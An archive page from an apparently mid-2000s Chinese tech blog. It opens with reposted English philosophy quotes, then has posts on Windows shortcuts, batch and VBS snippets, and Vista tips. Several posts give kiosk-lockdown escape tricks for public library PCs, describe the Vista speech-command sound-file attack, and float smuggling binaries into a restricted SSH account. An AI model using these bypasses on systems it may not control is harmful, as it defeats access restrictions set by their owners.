Marx (1818 – 1883) found Hegel’s apt description to be indicative of the problem with philosophy and responded, “the philosophers have only interpreted the world differently, what matters is to change it.”

8. “Who is also aware of the tremendous risk involved in faith – when he nevertheless makes the leap of faith – this [is] subjectivity … at its height.” – Søren Kierkegaard (1813 – 1855)

In a memorable scene from Indiana Jones and the Last Crusade, Indy deduced that the final step across his treacherous path was a leap of faith. And so it is in Kierkegaard’s [wiki] theory of stages of life.

The final stage, the religious stage, requires passionate, subjective belief rather than objective proof, in the paradoxical and the absurd. So, what’s the absurd? That which Christianity asks us to accept as true, that God became man born of a virgin, suffered, died and was resurrected.

Abraham was the ultimate “knight of faith” according to Kierkegaard. Without doubt there is no faith, and so in a state of “fear and trembling” Abraham was willing to break the universal moral law against murder by agreeing to kill his own son, Isaac. God rewarded Abraham’s faith by providing a ram in place of Isaac for the sacrifice. Faith has its rewards, but it isn’t rational. It’s beyond reason. As Blaise Pascal said, “The heart has its reason which reason does not know.”

9. “God is dead.” – Friedrich Nietzsche (1844 – 1900)

Well, you might not hear this one in a graduation speech, but you’ll probably hear it in college. Actually, Nietzsche [wiki] never issued this famous proclamation in his own voice but rather put the words in the mouth of a character he called the madman and later in the mouth of another character, Zarathustra.

Nevertheless, Nietzsche endorsed the words. “God is dead” is often mistaken as a statement of atheism. It is not, though Nietzsche himself was an atheist. “Dead” is metaphorical in this context, meaning belief in the God of Christianity is worn out, past its prime, and on the decline. God is lost as the center of life and the source of values. Nietzsche’s madman noted that himself came too soon. No doubt Nietzsche, too, thought he was ahead of his time in heralding this news.

10. “There is but one truly serious philosophical problem, and that is suicide.” – Albert Camus (1913 – 1960)

Camus’ [wiki] solution to the philosophical problem was to recognize and embrace life’s absurdity. Suicide, though, remains an option if the absurdity becomes too much. Indeed Camus’ own death in a car crash was ambiguous. Was it an accident or suicide?

For Camus, the absurd hero is Sisyphus, a man from Greek mythology who is condemned by the gods for eternity to roll up a stone up a hill only to have it fall back again as it reaches the top. For Camus, Sisyphus typified all human beings: we must find a meaning in a world that is unresponsive or even hostile to us. Sisyphus, Camus believed, affirms life, choosing to go back down the hill and push the rock again each time. Camus wrote: “The struggle itself toward the heights is enough to fill a man’s
heart. One must imagine Sisyphus happy.”

11. “One cannot step twice in the same river.” – Heraclitus (ca. 540 – ca. 480 BCE)

Heraclitus definitely isn’t alone here. His message was that reality is constantly changing it’s an ongoing process rather than a fixed and stable product. Buddhism shares a similar metaphysical view with the idea of annica, the claim that all reality is fleeting and impermanent.

In modern times Henri Bergson (1859 – 1941) described time as a process that is experienced. An hour waiting in line is different from an hour at play. Today contemporary physics lends credence to process philosophy with the realization that even apparently stable objects, like marble statues, are actually buzzing bunches of electrons and other subatomic particles deep down.

Bonus: Fake Your Way Through a Conversation (with Correct Pronunciation!)

If you fumble with a philosopher’s name, nothing you say afterward will sound credible. So, learn to pronounce these names correctly, then start worrying about their ideas.

(George) Berkeley is properly pronounced like Charles Barkley (bark-lee). This name is commonly mispronounced “burk-lee” like Berkeley, California, which, ironically, is named after George Berkeley.

(Friedrich) Nietzsche is commonly mispronounced as “nee-chee.” The correct pronunciation is “nee-ch-ya” and rhymes with “pleased ta meetchya.” “Pleased ta meetchya, Neechya.” Say it!

Lao-tzu (born ca. 604 BCE) is spelled several different ways in English transliteration from the Chinese. But no matter how you spell it, the proper way to pronounce it is “lau” (sounds like “ouch”)-“dsuh”. The stress goes on the first syllable.

(Charles Sanders) Pierce Peirce (1839 – 1914) is commonly mispronounced as “peer-s.” The correct pronunciation is “purse,” which is somewhat funny because Pierce Peirce rarely had a penny in his purse. Oddly, Pierce Peirce took his middle name, Sanders, as an anglicized form of Santiago, or “St. James,” in honor of a fellow pragmatist, William James (1842 – 1910), who helped him out financially.

(Ludwig) Wittgenstein (1889 – 1951) is a name that demands authentic German pronunciation, and there are plenty of ways to slaughter it. Here’s one that embodies all of them, “wit-jen-steen.” The correct pronunciation is “vit” (rhymes with bit)-“ghen” (rhymes with ken)-“shtine.” The first name is pronounced “lude-vig.” If you think it’s hard to pronounce his name, try reading his Tractatus.

Posted

archive

SSH下的挑战:最小化命令环境下如何得到更多的工具?

今天帮某公司测试VoIP产品,有个服务器可以SSH连接上去,比较哀求的是:这个帐号权限很低,命令很有限,只支持这几个:

!           .mount      ]]          command     else        for         kill        readonly    then        until
./          .mv         alias       compgen     enable      function    let         reboot      time        wait
.arp        .netconfig  asterisk    complete    esac        getopts     local       return      times       while
.cat        .netstat    bash        continue    eval        hash        logout      select      trap        {
.cut        .rm         bg          declare     exec        help        ls          set         true        }
.dir        .sed        bind        dirs        exit        history     ping        shift       type       
.echo       .umount     break       disown      export      if          popd        shopt       typeset    
.grep       .vars       builtin     do          false       ifconfig    printf      source      ulimit     
.ip         :           caller      done        fc          in          pushd       suspend     umask      
.kosh       [           case        echo        fg          ip          pwd         tail        unalias    
.more       [[          cd          elif        fi          jobs        read        test        unset      

这里我需要一个命令 free 和 top,但是主机似乎并不提供。

我想到,用Base64之类的编码手段把二进制bin做成文本流,然后在SSH里复制粘贴,写一个shell脚本还原这个bin。在Win32 CMD下有zzzEVAzzz大侠写了一个any2bat.vbs,作用是把任意文件(包括exe)转换成一个批处理,这个批处理调用debug.exe会把文件还原。现在我在思考:Linux下有没有这么好的事情?

 

Posted

archive

Windows Vista不支持Linux Samba Server的解决办法

原来Windows Vista强制使用NTLMv2认证,而 Samba Server 只支持NTLM
1. 单击“开始”,指向“程序”,然后单击“管理工具”。
2. 在“本地安全设置”(或者直接开始 运行 “secpol.msc”)下,展开“本地策略(Local Policies)”。
3. 单击“安全选项(Security Options)”。
4. 双击“网络安全:LAN Manager 身份验证级别(Network Security: LAN Manager authentication level)”,然后单击列表中:发送LM和NTLMv2,如果已协商,则使用NTLMv2协议(LM and NTLM – use NTLMV2 session security if negotiated)

搞定 

Posted

archive

Vista最挨求的漏洞:声音文件执行系统命令

http://www.securityfocus.com/brief/422?ref=rss
http://lists.immunitysec.com/pipermail/dailydave/2007-January/003995.html
http://blogs.zdnet.com/Ou/?p=416

一个安全Maillist上有人提到,Windows Vista支持语音命令,而不论语音来自用户说话还是一个声音文件,于是有人想到了在网页上嵌入一段声音说一句“shutdown”……

Vista Speech Command exposes remote exploit

One gentleman on the Dailydave security mailing list started a discussion about the potential for exploiting Vista's speech recognition feature by hosting malicious sound files on a website that would playback a series of audio commands to try to subvert the Operating System.  The man didn't actually test any of these theories, but raised an interesting concern about the safety of Vista's speech command system.

I responded to the list explaining that an Operating System should filter out the sounds it picks up on the Microphone to avoid a nasty feedback problem, but it's still possible for the Mic to pick up enough of the voice to run.  Someone else responded that Apple tried similar functionality 15 years ago and quickly realized that they had to guard the feature with a keyword that needed to be spoken because people were playing gags with the "shutdown" command.  But I have used speech command and realized that Vista only requires a static command so I proceeded to investigate with an actual test to test these theories.

I recorded a sound file that would engage speech command on Vista, then engaged the start button, and then I asked for the command prompt.  When I played back the sound file with the speakers turned up loud, it actually engaged the speech command system and fired up the start menu.  I had to try a few more times to get the audio recording quality high enough to get the exact commands I wanted but the shocking thing is that it worked!  Anyone that's ever visited MySpace knows how many annoying webpages out there that will start blasting loud MP3 music as soon as they enter the page.  [Update 4:17PM - Someone asked me how loud I had the speakers.  To my surprise, not very loud at all and I was shocked at how well it worked.  I didn't even believe it would work at the loudest setting let alone at a moderate sound level.]

There are some mitigating factors but there is no doubt this is still a serious exploit.  Most people won't have Vista speech commands configured and enabled but if they do, the speech command control console will automatically load with the operating system and park itself on the top of the desktop waiting for audio commands.  The other mitigating factor is that if you visit a webpage and it starts barking out slow and loud Vista speech commands, it will be rather obvious to most people that something is very wrong.  But it's still possible that a webpage might delay the sound playback and hope that the user is not around to stop the exploit.  Another mitigating factor is that the Vista command prompt doesn't seem to take any speech commands at all, but that doesn't prevent a remote hacker from interacting with your OS in an unauthorized manner.

My recommendation is that Vista users disable the speech command feature from automatically starting up in Vista and only use it in a supervised manner until there is a patch for this.  Vista speech commands should completely filter out any sound coming out of the computer system to prevent unauthorized speech commands coming from malicious sound files for a long term fix.  Microsoft should at least implement a short term fix by letting the user set a unique pass phrase or series of numbers to activate speech commands rather than allowing a fixed phrase activate the system.

[Update 4:55 PM - Someone (who shall remain unnamed until they give me permission to name them) emailed me and criticized me that this isn't a remote exploit and that I was being "ludicrous" and that this can't bypass UAC.  Well I never claimed this would bypass UAC and secure desktop nor do I think it needs to to be able to do some serious damage.  The fact that a website can play a moderate level sound file to interact in a way with the desktop by activating an idle speech command system and be able to delete user documents with zero user interaction is serious by any stretch of the imagination.]

Posted

archive

VBS调用 .NET 的示例——超快的数列排序

Function fSortArray(aSortThisArray)
Dim oArrayList, iElement, oArrayDic
Set oArrayDic = CreateObject("Scripting.Dictionary")
Set oArrayList = CreateObject( "System.Collections.ArrayList" )
 For iElement = 0 To UBound(aSortThisArray)
  oArrayList.Add aSortThisArray(iElement)
 Next
oArrayList.Sort
set fSortArray = oArrayList
End Function

以上代码的核心思想为:

System.Collections.ArrayList.Sort()

可见,VBS虽然不能原生支持 .NET,但是可以通过 COM 调用某些 .NET 的。但是这就有一个问题了, .NET 通过 COM 调用,经过 JIT 吗?会生成 IL 吗?

Posted

archive

Google代替了http://

转一篇我觉得很有意义的文章

http://franticindustries.com/blog/2007/01/28/google-is-the-new-http/

 

I’ve noticed lately that many users have all but stopped typing domain names directly in the web browser, and started using Google instead. Instead of writing “myspace.com” as the address, they write “myspace” into Google.

I’ve seen this behavior from my coworkers and friends, but it really becomes apparent when you see the top 1000 results of Google searches. Many of the top searches, like “bebo”, “ebay”, “yahoo”, “amazon”, “myspace”, “facebook”, aren’t really searches at all - these terms are mostly written by users who know exactly which page they want, but they’ve gotten used to using Google instead of the address bar. If you’re still not convinced, I give you the crown evidence: Google. One of the top search results in Google (number 6 at the time of this writing), is “Google“. Hundreds of millions of users are trying to get to Google through Google. Does this make any sense? No. But it shows that users don’t think about Google as a specific web page, they think of it as the service, an essential part of the internet experience. They’re using this service to get to the page they want: in this case, Google.

And you know what? They’re right. Google gives better results than the address bar in your web browser. Except for those hundred or so (probably less for casual internet users) addresses you know by heart, there’s a solid chance that name.com won’t be the right one. Perhaps it’s name.net, or .org. Or it’s namesomething.com, and you simply forgot about it. If you write the name of a fairly popular web site into Google’s search bar, you’re very likely to get the right result.

And not only that: In the first couple of search results, Google will probably give you the most relevant results from within the page, in many cases saving you time to browse through the actual web site. Using the address bar is simply not that effective.

What does this mean? It’s good news for Google, that’s for sure. When people think your service is an inseparable and essential part of the Internet, it’s hard for someone else to jump in. But it also means that domain names as static terms scattered across the Internet aren’t the primary way of distinguishing between different web sites any more. If people don’t use the address bar, they won’t go to the site with some exact domain name: they’ll go to the site Google deems most important for the term they’ve entered. The unlikely scenario of some site taking over the user base of a previously more popular site because of a shift in Google search results seems more and more plausible.

Google’s model of measuring hundreds of different factors, most importantly the number of links towards a web site, to establish the importance of a web site, is winning. We already know that it’s more important to have a coolname.org domain to which thousands of site link, than to have a coolname.com which noone links to, but domain names are still selling well, just because of their name. Is it worth it? If Google doesn’t already rank it high, it’s not. Take that into consideration when buying a second-hand domain name.

del.icio.us:Google is the new http:// digg:Google is the new http:// newsvine:Google is the new http:// reddit:Google is the new http:// blogmarks:Google is the new http:// Y!:Google is the new http://
Google kills Google Answers
Google Earth 4 is out
Google Toolbar 3 beta for Firefox released
Google releases Patent search beta
Google Reader adds statistics

Posted

archive

在Windows下安装Ubuntu!注意,是直接在Win32下安装

很早就这么想,开源世界的 Linux 和 Windows 正面对抗是不现实的,那么我们可以作出一点好玩的事情来,这就是,把 Linux 当成一个很大的“Windows软件”安装到系统中,Linux直接发布成一个几百兆的 linstaller.exe,双击安装,在Windows下用Win32API实现磁盘分区,修改MBR挂Grub,然后解压安装包,复制系统文件的文件到分区,呵呵,这样安装Linux的时候也不至于那么无聊,至于Linux的在线升级也可以得到实施,例如电子科大的DrCom上网认证,因为 Ubuntu 是在 Windows 下直接安装的,那么 APT 源就可以不用通过代理直接通过DrCom拨号了,更惬意的是,可以一边安装 Linux 一边上网,听歌,it's super kool!

这样做的令一个好处是:可以直接复制现有Windows系统理的 字体 和 解码包(Win32Codec)到Linux下,从而避免了版权方面的麻烦,这样做是符合 EULA 的。

What are you waiting for? Check it out here:

http://www.ubuntuforums.org/showthread.php?t=338279

Now the screenshots and demo from ubuntuforums.org

希望GNU/FOSS的精神能够做出更多有趣的东西出来!

至于Ubuntu小组的具体实施,和我的想法有点不同,首先他们不修改MBR,直接修改boot.ini,(发本文为止,Vista下的BootManager还不支持),其次,这个项目是用 NullSoft Installation System 做的,挂载了 BattleTorrent ,也就是说,一边下载一边安装。由于FAT格式的分区对大体积文件支持不好,所以这个安装程序并不支持Win95/98。

Windows based installer - testers and developers wanted

This thread is a continuation of the very long and unmanageable thread: http://ubuntuforums.org/showthread.php?t=305109

We have a development version of a Windows based installer for Ubuntu which is designed to be:
  • very simple to use
  • provide a no-risk installation
  • no repartitioning the hard disk
  • no changing the windows boot loader
  • Easy uninstallation.
  • Low risk
  • Doesn't use a virtual machine
  • Doesn't significantly reduce performance of the resulting installation
  • Resulting installation supports everything a normal install does.
  • Fast install

*************************

Currently there is a prototype of the installer. see https://wiki.ubuntu.com/install.exe/Prototype for download and install instructions.

*************************

The aim of this installer is to provide an easier way for a Windows user to install Ubuntu without having to know how to burn a cd iso, set the bios to boot from cd, repartition the disks, set up a multiboot system, etc. It will not replace any of the current Ubuntu installation options, and will not require that windows is installed prior to the installation of Ubuntu.

The installer works by creating a disk image of a pre-installed ubuntu system on the hard disk (downloaded with a bittorrent downloader integrated into the installer, or a standard http download when we find mirrors), and then installing GRUB for windows, which can be chain loaded by the existing boot loader, and which then loads the linux kerner and initrd from the ntfs partition. The initrd is modified to support mounting the image file mentioned above as a root file system, and then continuing the boot process like a normal installation.

This does not use a virtual machine to run linux on, so the performance of the resulting system will be similar to the performance of any other linux installation. The system will use ext3 in the image file, so users will get all the benefits of a linux filesystem.

Current progress
A prototype has been made (see https://wiki.ubuntu.com/install.exe/Prototype) which works, however there are still a few unresolved issues:

GUI Installer:
  • UPNP
  • Advanced/Expert install
  • installation of other distributions (kubuntu, edubuntu, xubuntu etc.)
  • Langage support
  • slideshow during install
  • Disk space checks required
  • Support for installing on a secondary drive
  • Supporting installation of boot loader where the boot drive isn't c:\

First boot:
  • Hardware Detection
  • Importing settings from config.ini file
  • Swap file

For more details, refer to the following links:

Launchpad entry here: https://blueprints.launchpad.net/ubu...dows-installer
Specification here: https://wiki.ubuntu.com/install.exe
Comments here: https://wiki.ubuntu.com/install.exe/Comments
Prototype here: https://wiki.ubuntu.com/install.exe/Prototype

Posted

archive

VBS创建eml mht文件

http://www.goldb.org/goldblog/2007/01/10/VBScriptCreatingAMicrosoftWebArchiveMhtFileProgramatically.aspx

 

Here is a little VBScript for generating a Microsoft Web Archive (*.mht) file.  Web archives are a convenient way to pack a bunch of web files (HTML/CSS/JavaScript) into a single file that is viewable in your browser.  The downside is MHT files are only viewable in MS Internet Explorer (lame).

Normally you would create an MHT by using the "Save As..." option in IE.  This script allows you to create one programatically.

Sample Usage:

for a remote html file:

>cscript mht_converter.vbs http://www.example.com/temp/foo.html foo.mht


for a local html file:

>cscript mht_converter.vbs file:/temp/foo.html foo.mht



... And now the code:




'mht_converter.vbs

Const adSaveCreateNotExist = 1
Const adSaveCreateOverWrite = 2
Const adTypeBinary = 1
Const adTypeText = 2

Set args = WScript.Arguments

if args.Count = 0 then
WScript.Echo "Usage: [CScript | WScript] mht_converter.vbs <html file> <mht filename>"
WScript.Quit 1
end if

Set objMessage = CreateObject("CDO.Message")
objMessage.CreateMHTMLBody args.Item(0)
SaveToFile objMessage, args.Item(1)


Sub SaveToFile(Msg, Fn)
Dim Strm, Dsk
Set Strm = CreateObject("ADODB.Stream")
Strm.Type = adTypeText
Strm.Charset = "US-ASCII"
Strm.Open
Set Dsk = Msg.DataSource
Dsk.SaveToObject Strm, "_Stream"
Strm.SaveToFile Fn, adSaveCreateOverWrite

Posted

archive

[导入]Alt+Shift+PrintScreen

这不是XP/Vista的彩蛋,这是XP/VIsta的功能,高对比度,呵呵

有什么用呢?

比如说,图书馆的公用电脑,只有一个 书籍查阅软件 的界面,把explorer屏蔽了,但是

1. 打开输入法,点帮助,然后C:\windows\explorer.exe,经典的输入法漏洞啊

2. 按5次shift,然后随便找个帮助什么的,就可以打开C:了

3. 按Win+U,放大镜,关于,有个“访问Microsoft网站”的链接

4. 就是现在的了,Shift+Alt+PrtSc,呵呵

一般的软件绝对想不到,要封这么多系统默认快捷键,汗。

Posted

archive

[原]一个极其BT的批处理:任务栏系统托盘汽泡提示

这种极其超出p处理讨论范围的话题真的有点BT,而且很无聊,所以我的解决方案也很无聊,那就是调用无所不能的 C#,所以需要 .NET Framework 支持,看代码`

CODE:  [Copy to clipboard]

@echo off
set "dnfpath=C:\Windows\Microsoft.NET\Framework"
set "est=DO_NOT_ZT_WITHOUT_PERMISSION"
for /f "delims=" %%v in ('dir /ad /b %dnfpath%\v?.*') do (
         if exist "%dnfpath%\%%v\csc.exe" set "cscpath=%dnfpath%\%%v\csc.exe"
)

< "%~f0" more +17 > "%temp%\estTrayTip.cs"
%cscpath% "/out:%cd%\estTrayTip.exe" "%temp%\estTrayTip.cs"
estTrayTip.exe C:\Windows\System32\acwizard.ico 看什么看 没见过批处理啊?没见过任务栏的汽泡信息啊?见过了吧?见过了顶electronixtar的帖子。 2
:exe的参数解释:estTrayTip.exe 图标路径 标题 内容 提示图标类型Error、Info、None、Warning,这里取2=Info。每个参数都必须正确填写
>nul ping 127.1 -n 1
del estTrayTip.exe

goto:eof

:estTrayTip

using System;
using System.Windows.Forms;
using System.Drawing;

namespace estTrayTip
{
    class Program
    {
        static void Main(string[] args)
        {
            NotifyIcon estIcon = new NotifyIcon();
            estIcon.Icon = new Icon(args[0]);
            estIcon.Visible = true;
            ToolTipIcon estToolTipIcon = new ToolTipIcon();
            switch(args[3])
            {
                case "1":
                    estToolTipIcon = ToolTipIcon.Error; break;
                case "2":
                    estToolTipIcon = ToolTipIcon.Info; break;
                case "3":
                    estToolTipIcon = ToolTipIcon.None; break;
                case "4":
                    estToolTipIcon = ToolTipIcon.Warning; break;
            }
            estIcon.ShowBalloonTip(1,args[1],args[2],estToolTipIcon);
        }
    }
}

Posted

archive

[原创]批处理屏幕截图

@echo off
set "dnfpath=C:\\Windows\\Microsoft.NET\\Framework"
for /f "delims=" %%v in ('dir /ad /b %dnfpath%\\v?.*') do (
         if exist %dnfpath%\\%%v\\csc.exe set cscpath=%dnfpath%\\%%v\\csc.exe
)
< "%~f0" more +15 > %temp%\\estCapture.cs
%cscpath% /out:%cd%\\estCapture.exe %temp%\\estCapture.cs 1>nul 2>nul
estCapture.exe
start estCapture.bmp
ping -n 2 127.1 1>nul 2>nul
del estCapture.exe 2>nul

goto:eof

:estCapture

using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;

public class MyClass
{
        public static void Main()
        {
                        Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
                        Graphics g = Graphics.FromImage(img);
                        g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
                        img.Save("estCapture.bmp", ImageFormat.Bmp);
        }
}

 

展示下批处理调用 .NET 的威力,需要 .NET Framework支持,测试环境: Windows Vista + .Net Framework 3.0 。代码比较简单,没写注释哈。

Posted

archive

Google也出错啦

Google    
Error
 

Server Error

The server encountered a temporary error and could not complete your request.

Please try again in 30 seconds.

 

 

 

本人第一次预见,上帝Google出错了

Posted

archive

Web没前途的

今天很是生气,哎,1000多字的blog,点了个 保存 ,结果给弹一个框框说“.Text Application Error:OutOfMemeory Exception”,真TMD的烂啊,偶写blog的心情一下子就……说到技术层面上,Web程序好看,制作简单,但是结构超级复杂和麻烦。如果blog是个C/S结构,或者B/S的blog系统支持xmlhttp后台提交的话……就不会有这种后果了…………呜呜呜呜,Web程序……是 不可靠 和 低效率的,你看做一个 DOM 拖动的 div 就要写那么多代码,或者用那么多的类啊,真的很累。现在Web 2.0被Google炒得很热,但是这些其实很很泡沫的,什么WebOS也是极其SB和夸张的。我始终认为,电脑软件,用户至上,不要把什么开源啊面向对象啊弄到用户层去。心情不好乱说几句,呵呵

Posted

archive

看看老外搜集的Windows快捷键大全(2007-1-10更新)

本人自以为我知道的快捷键是很稀罕了,比如,我新建文件夹的方式是:右键+F,W。今天无意搜索到了外国人搜集的快捷键,汗,很多听都没听说过。

 

Explorer Shortcuts

ALT+D

Select the Address bar(经常用,Maxthon这个JB经常读缓存,所以我经常Alt+D,Enter,ALt+D,Enter……)

CTRL+E

Select the Instant Search box(这个强悍,经测试,Maxthon,IE7,Vista有效,很方便的哈)

F5

Refresh the active window

ALT+UP ARROW

View the folder one level up in Windows Explorer(用过,一般就Backspace)

ALT+LEFT

Go backward to previous location in history(其实这个快捷键是我在Office 2000的剪贴画管理器里发现的)

Backspace

Navigate to parent folder if there are no previous navigations.  Navigate to previous location in history if one exists.

ALT+RIGHT

Go forward to next location in history

ESC

Cancel the current task or search(也可以停止IE的载入,停止GIF动画播放)

F10 or ALT

Activate the menu bar in the active program(Shift+F10也可以的哈)

F6

Cycle focus to next UI element in Explorer(听都没听说过)

ALT+F4 or CTRL+W

Close the active item, or exit the active program(这个也很常用,Firefox,explorer,Maxthon都支持)

F4

Display the Address bar list in Windows Explorer

F3 or CTRL+F

Search for a file or folder

CTRL+N

Opens current location in a new window

F11

Turn Full Screen Mode on or off

ALT+SPACEBAR

Open the shortcut menu for the active window

ALT+TAB

Cycle through open windows

CTRL+ALT+TAB

Cycle through open windows without closing the menu(没听说过,汗)

CTRL+ESC

Display Start Menu

CTRL+SHIFT+ESC

Task Manager

Listview Shortcuts

CTRL+A

Select all items in a document or window

END

Select last item in the active window

HOME

Select first item in the active window

CTRL+END

Move focus to last item in the selected window without selecting

CTRL+HOME

Move focus to first item in the selected window without selecting

CTRL+Arrow keys+Spacebar

Allows discontinuous multiple selection of items

SHIFT with any arrow key

Select more than one item in a window or on the desktop, or select text within a document

SHIFT+F10

Display the shortcut menu for the selected item

F2

Rename the selected item

ALT+ENTER

Display properties for the selected item

DELETE or CTRL+D

Delete the selected item and move it to the Recycle Bin

SHIFT+DELETE

Delete the selected item without moving it to the Recycle Bin first

CTRL+PLUS key on Number Pad

Delete the selected item without moving it to the Recycle Bin first

这里补充几个哈,程序员尤其有用的快捷键,Ctrl+→←↑↓。比如说,一个这样一个句子:
UESTC.NU.DormForce.SynX.est


大家把光标放到最后,然后用 Ctrl+LeftArrow试试看,呵呵,光标不是一个字母一个字母地移动了,而是很智能的一个词语一个词语的移动。
所以呢,比如我要选中 SynX.est,那么我的快捷键就是 Ctrl+Shift+LeftArrow 两次,呵呵

 另外,Ctrl+滚轮可以设置很多窗口的字体大小,比如 Word,IE,Wordpad(写字板),等等

Instant Search Box Shortcuts

ALT+ENTER

Searches for entered term and opens Search Pane (does not work in Start Menu)

SHIFT+ENTER

Searches for entered term using Internet browser (does not work in Start Menu)

CTRL+SHIFT+ENTER

Will launch a selected Application elevated if used from the Start Menu

Folder Tree Shortcuts

NUM LOCK+ASTERISK (*) on numeric keypad

Display all subfolders under the selected folder

NUM LOCK+PLUS SIGN (+) on numeric keypad

Display the contents of the selected folder

NUM LOCK+MINUS SIGN (-) on numeric keypad

Collapse the selected folder

LEFT ARROW

Collapse the current selection (if it is expanded), or select the parent folder

RIGHT ARROW

Display the current selection (if it is collapsed), or select the first subfolder

ALT+LEFT ARROW

View the previous folder

ALT+RIGHT ARROW

View the next folder

怎么样,都没见过吧?我补充一个,当在 资源管理器 里以 详细信息 查看文件的时候,有的时候列表的某一栏太窄了,有的太宽了,有没有快捷键一次性调节所有列到最合适的宽度呢?这个快捷键就是:Ctrl+数字键盘的+号

F2 重命名,也比较通用的哈

Windows Key Shortcuts

Windows logo key

Open or close the Start menu

Windows logo key + #

Launches shortcut in Quick Launch with the position corresponding to the # entered.   (eg. Winkey + 1 to launch first item in quick launch menu)(听都没听说过,汗,不过很多XP没有测试成功,我的Vista测试成功了,郁闷,大家帮测试下)

Windows logo key +BREAK

Display the System Properties dialog box

Windows logo key +D

Display the desktop

Windows logo key +M

Minimize all windows

Windows logo key +SHIFT+M

Restore minimized windows to the desktop

Windows logo key +E

Open Windows Explorer navigated to Computer

Windows logo key +F

Search for a file or folder

CTRL+Windows logo key +F

Search for computers

Windows logo key +L

Lock your computer

Windows logo key +R

Open the Run dialog box

Windows logo key +T

Cycle through programs on the taskbar(和Alt+Esc的作用差不多,在Vista下还有个小窗口御览,平时一般只用Alt+Tab)

Windows logo key +TAB

Cycle through programs on the taskbar by using Windows Flip 3-D

CTRL+Windows logo key +TAB

Use the arrow keys to cycle through programs on the taskbar by using Windows Flip 3-D

Windows logo key +SPACEBAR

Bring all gadgets to the front and select Windows Sidebar

Windows logo key +G

Cycle through Sidebar gadgets

Windows logo key +U

Open Ease of Access Center

Windows logo key +X

Open Windows Mobility Center(这个厉害,Vista专用)

另外,按5次Shift可以看看“粘滞键”
Shift+Alt+PrintScreen可以设置高对比度
按住Shift 8秒钟,可以打开筛选键
Left ALT+left SHIFT+NUM LOCK 鼠标键
NUM LOCK 5妙种:切换键

Login Screen Shortcuts

ALT+S

Power Menu

ALT+W

Switch user

Arrow keys

Navigate between user tiles

Security Screen Shortcuts

ALT+K

Lock machine

ALT+W

Switch user

ALT+L

Log off

ALT+C

Change Password

ALT+T

Task Manager

General Shortcuts

CTRL+C or CTRL+INS

Copy

CTRL+X or SHIFT+DEL

Cut

CTRL+V or SHIFT+INS

Paste(其实这个挺使用的,有的程序的文本框禁止粘贴,但是过滤快捷键不严格,Ctrl+V实效了,Shift+Ins还是可以的,详情点击这里

CTRL+Z

Undo

CTRL+Y

Redo

F1

Help

CTRL+SHIFT while dragging an item

Create shortcut to selected item.

CTRL+SHIFT with any of the arrow keys

Highlight a block of text.

CTRL+RIGHT ARROW

Move the insertion point to the beginning of the next word.

CTRL+LEFT ARROW

Move the insertion point to the beginning of the previous word.

在这里补充一个最火星的快捷键,在 写字板(开始 运行 wordpad)或者QQ的聊天对话框里,输入一个字符,例如 星,按下Alt+X,可以得到“星”的ASCII码 661F,或者,输入661F,可以得到其对应的字符“星”,初步估计这是 riched32.dll 的功能

Ctrl+↑ 相当于 ↑ 再 Home

最后写几个不是快捷键的小技巧:

其实Tab键是很多菜鸟忽略的,但是很方便的,上网填表,cmd路径自动补齐等,很好用!还有Shift+Tab。(有的同学知道Tab居然不知道Shift+Tab)

右击一个文件,马上按R可以查看这个文件的属性,同理,IIS里右击一个站点按R可以看站点属性,Visual Studio里右击一个控件按R也可以看属性,很方便的吧。可惜有的程序把这个R(P&roperties)设计成了 P,造成了一定的混乱 -_-! 。在Linux下就根本没有这个规律啦,Linux的命令风格和按键设置都太有个性了,根本不统一!

和上面这个类似的,关机的时候要退出 系统托盘的那一排图标,最快的方法是:右键单击图标,然后X,所以一路点过去,一路X就把能关的后台程序全部关了,MSN,TM都可以,但是GTalk设置的是E,还是那句话,Linux设计倾向的程序都太有风格了。微软家的东西就是统一啊,方便。

很多软件做的很漂亮了,取消了菜单栏,比如MSN,IE7,Vista,要显示菜单栏还是很简单的,按下Alt就行了

按住 Shift 可以跳过光盘、U盘的自动播放,特别是U盘,可以预防病毒哦

还有就是一开始说的新建文件夹的最快方法了,用的多,所以好用。右键+F,W

 

Posted

archive

Alt+Shift+PrintScreen

这不是XP/Vista的彩蛋,这是XP/VIsta的功能,高对比度,呵呵

有什么用呢?

比如说,图书馆的公用电脑,只有一个 书籍查阅软件 的界面,把explorer屏蔽了,但是

1. 打开输入法,点帮助,然后C:\windows\explorer.exe,经典的输入法漏洞啊

2. 按5次shift,然后随便找个帮助什么的,就可以打开C:了

3. 按Win+U,放大镜,关于,有个“访问Microsoft网站”的链接

4. 就是现在的了,Shift+Alt+PrtSc,呵呵

一般的软件绝对想不到,要封这么多系统默认快捷键,汗。

Posted

archive

哭了~工具盘被误删了

今天有个顽固文件,在我的工具盘 D:\ 盘,输入 rd /s /q setup.1 回车的时候不小心按到了回车键上面的 \ ,然后,傻了一会儿,5GB的工具灰飞烟灭了~~~5555555~~~~FinalData中.......很多工具是绝版的低版本,可惜啊。

Posted

archive

[原]Vista下的文件名欺骗

打开一个文件夹比如说,E:\test ,空白处点右键,选择 属性,选择 自定义,然后可以给文件夹改个图标,这个可能地球人都知道了,不过Vista下有更好玩的东西,先随便给文件夹改个图标,点击 确定,然后,打开当前文件夹下的 desktop.ini(方法就很多了,最简单:直接在地址栏的当前路径后面接着输入 \desktop.ini 回车,当然,如果你启用了“显示系统及隐藏文件”的话,直接双击打开),记事本弹出来,加这么一句:

LocalizedResourceName=Hacked By est

保存,关闭记事本。

把 desktop.ini 改名成其他,例如 desktop.ini2,然后再改回来,然后,返回上一级文件夹(快捷键Backspace,晕,我在教入门知识~~),看看,文件夹的名字变成了什么?

 

继续好玩的,首先在刚才的文件夹下面新建一个子文件夹,例如我这里是 E:\test\subtest\ 再次打开刚才的 desktop.ini,添几行:

 

[LocalizedFileNames]
subtest=Another Name

 

接下来,又是,保存,关闭记事本,把 desktop.ini 改成其他名字,如 desktop.ini2(这样做是为了使explorer刷新,重新应用 desktop.ini 的属性),然后改回来,按F5刷新当前文件夹,看看 subtest 文件夹的名字是不是变成了 Another Name?

事实上文件夹的名字改变没有呢?没有。不信,点一下 Vista 资源管理器的 地址栏,呵呵,如图。

